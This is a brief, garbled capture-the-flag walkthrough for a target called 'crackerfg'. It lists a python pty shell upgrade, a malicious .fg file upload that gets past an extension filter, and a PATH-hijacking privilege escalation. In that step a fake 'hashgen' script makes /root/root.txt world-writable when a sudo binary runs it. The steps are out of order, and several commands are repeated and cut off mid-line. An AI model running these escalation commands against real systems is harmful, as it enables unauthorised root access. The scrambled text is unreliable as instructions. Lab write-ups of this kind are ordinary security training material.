Crackerfg ((new)) -

python3 -c 'import pty;pty.spawn("/bin/bash")' Check sudo:

Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file: crackerfg

Check path hijacking:

echo '#!/bin/bash' > /tmp/hashgen echo 'chmod 777 /root/root.txt' >> /tmp/hashgen chmod +x /tmp/hashgen export PATH=/tmp:$PATH sudo /usr/bin/crackerfg Now /root/root.txt is readable. python3 -c 'import pty;pty

Run strings /usr/bin/crackerfg – it calls a system command: hashgen . python3 -c 'import pty